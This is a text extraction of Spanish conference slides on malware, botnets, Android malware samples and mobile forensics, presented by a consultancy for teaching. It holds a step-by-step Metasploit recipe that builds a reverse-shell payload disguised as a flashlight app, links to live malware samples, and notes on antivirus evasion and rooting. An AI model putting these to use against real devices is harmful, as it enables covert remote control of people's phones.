FEEL FREE - UPMapolo.eui.upm.es/descarga/ConferenciaJuanAntonioCallesTASSI201… · a) Los...

Post on 05-May-2020

12 views 0 download

Transcript of FEEL FREE - UPMapolo.eui.upm.es/descarga/ConferenciaJuanAntonioCallesTASSI201… · a) Los...

0

FEELFREEA NEW APPROACHTO CYBER SECURITY

1

Big4Fundada en 1917

Más de 174.000 empleadosServicios de auditoría, fiscales y de asesoramiento legal,

financiero y de negocio

2

3

Ayudando a los clientes a detectar y responder los Ciber incidentes,

entendiendo las amenazas a su negocio, sus vulnerabilidades y

riesgos.

Ayudando a los clientes a construir y mejorar su

Ciberseguridad, soportada por las

personas, organización y tecnologías adecuadas.

Ayudando a los clientes a permanecer seguros en todo su negocio y

evolucionando y madurando sus

programas tecnológicos.

La aproximación a los servicios de seguridad se ha diseñado para ser simple y

efectiva –alineada a las necesidades de nuestros clientes resolviendo sus servicios

de seguridad, siguiendo el modelo de Buscar / Resolver / Operar.

CUTTING THROUGH SECURITY COMPLEXITY

4

5

• Proviene del inglés, malicious software

• Su objetivo (principal) es dañar un equipo informático oinfiltrarse para recuperar información del mismo, sin elconsentimiento de su propietario.

• La ausencia de dicho consentimiento no determina deforma inherente que su objetivo sea malicioso

• MDM, control parental, troyano policial, …

6

publicidad en equipos infectados puerta trasera backdoor+spyware (espionaje) deniega un sistema replicando procesos red zombie específico para delitos financieros cifra sistema y pide rescate (ransom) acceden a sitios con contenido de pago bromas

7

capturas de pulsaciones de ratón y teclado malware descargado de páginas porno diseñado para robo de correos y credenciales se ocultan en procesos suplantar Hosts y redirigir a páginas premium suplantación de identidad en web/email acceden a sitios porno de pago software con vulnerabilidades conocidas simula malware falso

8

oculta información en un sistema

similar rogue, causar pánico para cobrar

correo basura

robo de información

control remoto sobre sistema

altera el funcionamiento de un sistema. Infectan normalmente

archivos

altera un sistema para dañarlo. Reside memoria

9

Comienzo en los

Crecimiento lento en los 70-80

En los el problema a explotado a nivelmundial gracias al crecimiento exponencial de las líneasde Internet.

10

En 1960 el DEC PDP-1 creó el “cinescopio”, el primer monitor para un ordenador.

Este invento inspiró a los primeros “hackers”,, de los laboratorios Bell, a programar el primer

videojuego “ ”, al que denominaron “Darwin”.

Consistía encompartida para destruir al

enemigo (como si de un gusano se tratase).

11

•Darwin

•Creeper•Rabbit•Animal-Pervade•Worm

•Elk cloner•Viernes 13•Jerusalén

•Dark Avenger•VCL•Phalcon/Skism

Mass-ProducedCode Generator

•Michelangelo•Concept•Lady Di•Laroux•AccessiV•Melissa•Happy99•I-

Worm.ExploreZip

•VBSWG•ILOVEYOU•Pirus•Ramen•Lion•BadTrans•CodeRed•Spida•Benjamin•Slammer•Blaster•Agobot•Mydoom•Brador•Stardust•Staroffice•Leap•Conficker•Stuxnet•Zeus

•Duqu•Flame/

Skywiper•Sirefef/

ZeroAccess•Reveton•Dorkbot•RedOctober•Cryptolocker•Torrentlocker•CBLocker•Careto/ Mask•CryptoJoker

12

13

Conjunto de equipos conectados a una red como Internet, queinteractúan entre sí para ejecutar tareas de manera distribuida

Controlados desde uno o varios paneles de control quecoordinan las acciones que deben realizar.

Realización de ataques de denegación de servicio, robo deinformación de los usuarios con fines delictivos.

Sin embargo también son muchos los usos legítimos con los quecuentan las botnets (Boinc, Seti@Home, Distribuited.net, etc.).

¿Qué es?

14

Bot

Botmaster

Zombie

Panel de control

Componentes

Dame instrucciones

Toma instrucciones

15

Bredolab: 30 millones de equipos infectados

Mariposa: 12,7 millones de infectados.

Conficker: 10,5 millones de equipos infectados

TDL4: 4,5 millones de equipos infectados

Zeus: 3,6 millones de equipos infectados.

Más grandes de la historia

16

Tipos

17

1. Selección de objetivos

2. Proceso de infección

3. Propagación de la botnet

Fases

18

1. Modificación de instrucciones

2. Ofuscación y cifrado

3. Oligorfismo, polimorfismo y metamorfismo

4. Distribución y cifrado de cadenas

5. Inyección dinámica de instrucciones

6. Etc.

Técnicas de evasión principales

19

Modificación directa de instrucciones sobre el códigofuente del malware

Puede que no tengamos el código fuente

Sin código fuente, habría que hacer ingeniería inversa(mucho trabajo)

Modificación de instrucciones

20

Ocultar el flujo de control y las estructuras de datos quecontienen información detectable del malware

Objetivo de los crypters: http://www.crypters.org

Son validos durante unos días, porque las empresas antivirusanalizan de forma habitual los foros de malware, con el fin dedescargarse los nuevos ejemplares y así poder agregar lasnuevas firmas a sus motores antivirus.

Ofuscación y cifrado

21

: cuentan con sistemas de cifrado/descifrado paramejorar su ocultación (sin usar crypters).

: evolución en la que añaden la capacidad de generar deforma ilimitada nuevos cifradores y descifradores.

, es capaz de mutar su propio código entero, añadiendoinstrucciones de tipo “jump” o salto, como si de un crypter se tratase.

Oligorfismo, polimorfismo y metamorfismo

22

Las casas de antivirus, suelen buscar en los malware ciertascadenas que son muy significativas

Es habitual que las firmas de detección se apliquen sobre estosstrings

Se basa en codificar y cifrar todas las cadenas de texto, y de serposible, sean divididas en trozos y unidas por el malware una vezse encuentre en funcionamiento.

Distribución y cifrado de cadenas

23

El malware no aloja en su código las instrucciones más delicadas

Las instrucciones son almacenadas en otros archivos alojados enel equipo o incluso en Internet, y en tiempo de ejecución sonaccedidos y cargados en memoria

Ejemplo: función GetProcAddress() de C, obtener la dirección dememoria donde se encuentran cargadas las funciones del códigomalicioso y ejecutarlo.

Inyección dinámica de instrucciones

24

1. Delincuencia

2. MDM

3. Control parental

4. Troyano policial

5. Hobby y aprendizaje

6. Etc.

¿Malo? ¿Bueno? Mejor llamarlo Legal vs Ilegal

25

<<CAPITULO IX

Registros remotos sobre equipos informáticos

Articulo 588 septies a. Presupuestos.

1. El juez competente podrá autorizar la utilización de datos de identificación y códigos,

así como la instalación de un software, que permitan, de forma remota y telemática, el

examen a distancia y sin conocimiento de su titular o usuario del contenido de un

ordenador, dispositivo electrónico, sistema informático, instrumento de almacenamiento

masivo de datos informáticos o base de datos, siempre que persiga la investigación de

alguno de los siguientes delitos:

a) Delitos cometidos en el seno de organizaciones criminales.

b) Delitos de terrorismo.

c) Delitos cometidos contra menores o personas con capacidad modificada judicialmente.

d) Delitos contra la Constitución, de traición y relativos a la defensa nacional.

e) Delitos cometidos a través de instrumentos informáticos o de cualquier otra tecnología

de la información o la telecomunicación o servicio de comunicación.

Ley Orgánica 13/2015, de 5 de octubre de 2015, de modificación de la Ley de

Enjuiciamiento Criminal para el fortalecimiento de las garantías procesales y la

regulación de las medidas de investigación tecnológicas

26

2. La resolución judicial que autorice el registro deberá especificar:

a) Los ordenadores, dispositivos electrónicos, sistemas informáticos o parte de los mismos,

medios informáticos de almacenamiento de datos o bases de datos, datos u otros contenidos

digitales objeto de la medida.

b) El alcance de la misma, la forma en la que se procederá al acceso y aprehensión de los

datos o archivos informáticos relevantes para la causa y el software mediante el que se

ejecutara el control de la información.

c) Los agentes autorizados para la ejecución de la medida.

d) La autorización, en su caso, para la realización y conservación de copias de los datos

informáticos.

e) Las medidas precisas para la preservación de la integridad de los datos almacenados, así

como para la inaccesibilidad o supresión de dichos datos del sistema informático al que se ha

tenido acceso.

3. Cuando los agentes que lleven a cabo el registro remoto tengan razones para creer que

los datos buscados están almacenados en otro sistema informático o en una parte del

mismo, pondrán este hecho en conocimiento del juez, quien podrá autorizar una

ampliación de los términos del registro. >>

27

XNSpy

Droidjack (Sandrorat)

28

30

32

Flappy Birds

NotCompatible

Android Locker Qqmagic

Android Proxy Trojan Xoryp

33

Objetivo: enviar y recibir mensajes de texto con el fin de acumular

cargos por mensajería a números de tarificación adicional.

Muestra:

http://mfile.me/upload/bookmark/2014/0208/choingaygame/1391

825505/flappy-bird.apk

Código SMS:

Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;

called from Lcom/hdc/ultilities/SendSMS$1;->run()V

Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;

Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent;

Landroid/app/PendingIntent;)V called from Lcom/hdc/ultilities/SendSMS$1;-

>run()V

34

send SMS messages android.permission.READ_EXTERNAL_STORAGE (read from external storage) android.permission.RECEIVE_BOOT_COMPLETED (automatically start at boot) android.permission.READ_PHONE_STATE (read phone state and identity) android.permission.SYSTEM_ALERT_WINDOW (display system-level alerts) android.permission.ACCESS_WIFI_STATE (view Wi-Fi status) android.permission.WAKE_LOCK (prevent phone from sleeping) android.permission.GET_TASKS (retrieve running applications) android.permission.VIBRATE (control vibrator) android.permission.ACCESS_NETWORK_STATE (view network status) android.permission.INTERNET (full Internet access) android.permission.WRITE_EXTERNAL_STORAGE (modify/delete SD card contents) receive SMS)

¿¿PARA QUE QUIERE UN VIDEOJUEGO ENVIAR SMS??

35

Troyano clásico de tipo actualización: no solicita los permisos en

la primera instalación, sino en una actualización.

Los datos de conexión se encuentran en data.bin dentro del directorio

“/data/data/com.Security.Update/files/“, y su contenido se

encuentra cifrado, con AES-ECB y una clave prefijada en la variable

passkey “ZTY4MGE5YQo”.

Nombre: com.security.update

Muestra:

http://www.mediafire.com/download/sjra9tzd14babma/Notcompati

bleC_FEACE958B47C2249C6AB8DDF804CDCB6_com.security.pat

ch.zip

36

RECEIVE_BOOT_COMPLETED (automatically start at boot)

INTERNET (full Internet access)

ACCESS_NETWORK_STATE (viewnetwork status)

37

Tipo: ransomware clásico.

Cifra y pide rescate

Muestra:

http://www.mediafire.com/do

wnload/1v8c3t94xw5j81b/An

droid-Locker-qqmagic-

735B4E78B334F6B9EB19E70

0A4C30966.zip

38

android.permission.SEND_SMS (send SMS messages) android.permission.RECEIVE_BOOT_COMPLETED (automatically

start at boot) android.permission.SYSTEM_ALERT_WINDOW (display system-

level alerts) android.permission.ACCESS_NETWORK_STATE (view network

status) android.permission.RECEIVE_SMS (receive SMS) android.permission.INTERNET (full Internet access)

39

Detección: 9 de abril de 2013

Troyano clásico: mensajes, registro de llamadas, historial

de navegación, ubicación GPS, SMS, Wi-Fi/3G, IMEI,

cuentas del usuario, etc.

Nombre: com.studio.proxy.apk

Muestra:

http://www.mediafire.com/download/n26zjz8rb7p2z4l/co

m.studio.proxy_D05D3F579295CD5018318072ADF3B83

D-samp.zip

40

android.permission.CHANGE_NETWORK_STATE (change network connectivity) android.permission.SEND_SMS (send SMS messages) android.permission.DISABLE_KEYGUARD (disable key lock) android.permission.READ_PHONE_STATE (read phone state and identity) android.permission.ACCESS_WIFI_STATE (view Wi-Fi status) android.permission.ACCESS_COARSE_LOCATION (coarse (network-based) location) android.permission.WAKE_LOCK (prevent phone from sleeping) android.permission.RECEIVE_SMS (receive SMS) android.permission.INTERNET (full Internet access) android.permission.ACCESS_NETWORK_STATE (view network status) android.permission.WRITE_EXTERNAL_STORAGE (modify/delete SD card contents) android.permission.READ_CONTACTS (read contact data) android.permission.GET_ACCOUNTS (discover known accounts) android.permission.READ_SMS (read SMS or MMS)

41

42

1. msfvenom –p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 R > /root/linterna.apk

2. service apache2 start3. cp /root/linterna.apk /var/www/html4. msfconsole5. use exploit/multi/handler6. set payload android/meterpreter/reverse_tcp7. set LHOST 192.168.1.508. set LPORT 44449. exploit

10. Abrir http://192.168.1.50/linterna.apk en el smartphone

43

44

45

46

47

¿Qué ha ocurrido? ¿dónde? ¿cuándo?

¿cómo? ¿por qué?

48

49

ADB

DD

FTK Imager WForensic

Super OneClick

50

• Preservar las evidencias

• Obtener información del dispositivo

• Adquirir información de la tarjeta SIM

• Informe

51

52

•• Marca, modelo y proveedor de servicio

• http://www.phonescoop.com/phones/finder.php

•• Interfaz de dispositivo

• Etiquetas

• Series

• Hora del móvil

• Software de sincronización

54

55

56

1. Instalar el SDK de Android en un PC2. Conectar el móvil al PC mediante ADB3. Rootear (al menos temporalmente) el móvil con Android4. Clonar mediante dd las particiones del móvil

1. Adquirir un producto de análisis forense automático

57

58

59

60

61

62

63

7.- Conectar el móvil y comprobar instalación

8.- Reiniciar

9.- Conectar móvil con modo depuración USB activado

64

65

• Muestra si el móvil está conectado

• Por si ha habido algún problema

• Instala/desinstala aplicaciones en el terminal

• Arranca una shell dentro del terminal

• Intercambia archivos

66

$

67

• : Uso de software como SuperOneClick o ExynosAbuse• : Root a través de recovery

68

ANDROID 2.X

69

ANDROID 2.X

70

ANDROID 4.X

1. Formatear una tarjeta micro sd a FAT32

2. Desplegar en la tarjeta el firmware modificado uberoid 1.0

(http://ul.to/fd3flqnp) o 2.0 (http://ul.to/s8a7j1zr)

3. Introducir la tarjeta en el terminal apagado y encender (tened en

cuenta que no sabremos el PIN)

4. Ya eres root

71

ANDROID 4.X

1. Permitir la instalación de apps de fuera de Play Store.

2. Ir a https://towelroot.com/ y descargar la aplicación3. Ejecutar y “make it ra1n”4. Esperar y tras el reinicio el terminal está rooteado.

No funciona en terminales HTC y Motorola.

72

#

73

• A través de DD– dd if=/dev/mtd/mtd1ro of=/sdcard/mtd1ro.dd bs=4096

74

• Memory Technology Device (MTD): Subsistema Linux utilizado en medios flashcomo en móviles.

• IDE (/dev/hd* = hard drive)

• SCSI o SATA (/dev/sd*)

• MTD (/dev/mtd*)

• Podemos obtener más información de los dispositivos inspeccionando /dev y/proc

YAFFSCaso de los antiguos sistemas Android

75

YAFFS

76

EXT

Particiones:

Correspondencia de particiones y puntos de montaje:

77

78

79

80

• En las tarjetas SD no se almacena la información del sistema

• Se almacenan datos de usuario como archivos grandes, multimedia, fotos,

vídeos, etc.

• El proceso de extracción es bastante sencillo y se centra en el uso de

ciertas herramientas.

81

1. Extraeremos la tarjeta SD/MicroSD/MiniSD del terminal

2. La insertaremos en un lector de tarjetas, mapeándola como solo lecturapara no dañar la evidencia

3. La clonaremos con dd u otra herramienta y calcularemos el hash

4. Analizaremos el clon de la tarjeta con herramientas como Autopsy o FTKImager

82

83

84

85

86

• Si descomprimimos el fichero .apk y abrimos elfichero AndroidManifest.xml, no veremos nadaporque está codificado.

• Pasos a seguir:

1. Descargar la herramienta apktool

2. Copiar el archivo .apk en la carpeta raíz

3. Introducir el comando:

apktool d NombreApp.apk ./RutaSalida

Ej. apktool.bat d facebook.apk fbook

87

Extraer el código fuente de la aplicación a partir del fichero .apk

En el proceso de empaquetado:

Para el proceso de reversing

88

PASO 1:

Procedimiento:

Copiar el fichero .apk en la raíz de dex2jar

Abrir un cmd y situarse en la ruta anterior

Ejecutar el comando dex2jar nombreAplicacion.apk

89

PASO 2:

Procedimiento:

Instalar JD-Gui y abrir el fichero .jar obtenido en el paso anterior

Guardar todas los ficheros de código fuente en la ruta deseada

90

Identifica aplicaciones inseguras o maliciosas.

Búsqueda estratégica de fragmentos de código.

Especial hincapié en aspectos potencialmente inseguros:

Preferencias de las aplicaciones

Almacenamiento en la SDCard

Logs

getSharedPreferences()MODE_PRIVATEMODE_WORLD_READABLEMODE_WORD_WRITEABLEaddPreferencesFormResource

getExternalStorageDirectory()sdcard

Log

91

Sentencias JavaScript

SQLite

addJavascriptInterface()setJavaScriptEnabled(true)

dbsqlitedatabaseinsertdeleteselecttablecursorrawQueryin

92

Notificaciones Toast

Debuggable

Identificadores

Toast.makeText

uid, user-id, imei, deviceId, deviceSerialNumber, devicePrint, X-DSN, phone, mdn, did, IMSI, uuid

android:debuggable

93

Tapjacking

Hashes

Conexiones

httphttpsHttpURLConnectionURLConnectionURLTrustAllSSLSocket-FactoryAllTrustSSLSocketFactoryNonValidatingSSLSocketFactory

MD5BASE64des

filterTouchesWhenObscured="true"

Lo que el usuario ve

Lo que realmente esta pasando

94

Intent Injection

Localizacion GPS

Action.getIntent()

getLastKnownLocation()requestLocationUpdates()getLatitude() getLongitude() LOCATION

Aplicación 1

Activity 1 Activity 2 Activity 3

Aplicación 2

Activity 1 Activity 2 Activity 3

intent

intent

intent

95

pero con saber interpretar código java podréis hacer un trabajo importante

(mucho más sencillo que ASM)

96

97

• proyectos nacionales e internacionales

• recibirás formación especializada

• Hacking ético (rompiendo y solucionando)

• Cumplimiento normativo (LOPD, ISO27001, …)

• Vigilancia digital (I+D, análisis e inteligencia)

• Senior

• Junior

• Becas

© 2015 KPMG Asesores S.L., sociedad española de responsabilidad limitada y firma miembro de la redKPMG de firmas independientes afiliadas a KPMG International Cooperative (“KPMG International”),sociedad suiza. Todos los derechos reservados.

KPMG, el logotipo de KPMG y “cutting through complexity” son marcas registradas o comerciales deKPMG International.

Esta propuesta de servicios ha sido realizada por KPMG Asesores, S.L. sociedad española deresponsabilidad limitada y miembro de la red de firmas independientes afiliadas a KPMG International,sociedad suiza, y está sujeta, a todos los efectos, a la negociación, acuerdo y firma de una carta deencargo o contrato específico. KPMG International no presta servicios a clientes. Ninguna filial ofirma miembro tiene autoridad para obligar o vincular a KPMG International o a otra firma miembro conrespecto a terceros ni KPMG International tiene autoridad para obligar o vincular a ninguna firmamiembro.

Contáctanos:

Director – Cyber Security

Fijo: 91 456 59 04Móvil: 666 48 26 51Email: javiersantos@kpmg.es

www.kpmg.es | www.kpmgciberseguridad.es

Senior Manager - Cyber Security

Móvil: 608 91 95 03Twitter: @jantonioCallesEmail: jcalles@kpmg.es

Partner – IT Advisory

FIjo: 91 456 38 31Email: marcmartinez@kpmg.es